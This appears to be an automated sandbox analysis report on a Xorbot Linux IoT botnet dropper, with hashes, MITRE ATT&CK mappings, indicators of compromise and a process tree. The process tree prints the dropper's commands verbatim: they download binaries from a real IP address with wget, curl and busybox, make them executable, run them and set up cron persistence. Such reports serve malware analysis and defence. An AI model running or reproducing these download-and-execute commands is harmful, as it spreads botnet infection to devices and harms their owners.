xorbot | 04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02-12-2024 19:11

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General

Target

bins.sh
Size

10KB
MD5

0b5635532d2f1fa548c3a52df6cafeb3
SHA1

28fad0a1c84fa6e72b1212c0ac1324440c690b1a
SHA256

04395ad444da152645554affea085999878fe2808aecd53798bd73c2b5a10d50
SHA512

ce1b43efa4c05530b1e6cd86b6d02519bce2048be45bf0c61f59028ebd8a3aca058c4c3d827401cd1e5d5433ab3bc595204472266f880252124a1673e4e94ce7
SSDEEP

192:oDuwScugogdt0DVY5BLMQIguwScugog3Z5BLMQw:oNaDVY5BLMQI45BLMQw

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2170) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1499	chmod
1514	chmod

Executes dropped EXE 2 IoCs

Processes:

kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatLZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

ioc	pid	Process
/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	1500	kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	1515	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

Renames itself 1 IoCs

Processes:

ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

pid	Process
1516	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.p3Dp7z	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

description	ioc	Process
File opened for reading	/proc/1529/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1569/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1601/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1725/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1184/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/25/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/708/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1523/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1585/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1656/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1711/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/23/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/22/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1143/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1533/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1655/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/14/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/334/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1651/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/207/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/466/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1097/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1129/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1550/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1622/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1636/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1648/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/11/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1718/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1151/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1615/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1715/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/632/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/962/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1547/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1664/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1720/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/515/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1521/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1566/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1598/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1663/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1717/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1061/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1162/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1606/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1708/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/85/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/78/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/170/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/468/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/934/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1182/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1481/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1665/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/10/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1683/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1577/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1621/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1671/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1674/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/1719/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/163/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
File opened for reading	/proc/670/cmdline	ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	wget
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	curl
File opened for modification	/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL	busybox
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	wget
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	curl
File opened for modification	/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1481
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1482
- /usr/bin/wget
  wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:1483
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/chmod
  chmod 777 kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  ./kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  - Executes dropped EXE
  PID:1500
- /bin/rm
  rm kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  ./ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1515
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1517
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1518
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1519
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1520
- /bin/rm
  rm ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  PID:1525

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.p3Dp7z

Filesize
210B

MD5
0dfc080f4e21d8271bfc2fad12ad26d7

SHA1
621e222c0de07004202217b6c6c0a068138f31c9

SHA256
8c9a1f11a4da42920d6be0295703f107c51838b97db80a78e9cbcdff68bea68f

SHA512
c48a18c1f5cb1a745cee57cf85392e81b3f4d575cfe40054768735d20d4d6f8e882b6583e7ee2587508b43cf91cc9cf36a8074c234a03799d75eb5f2ac07abe6

Download Submit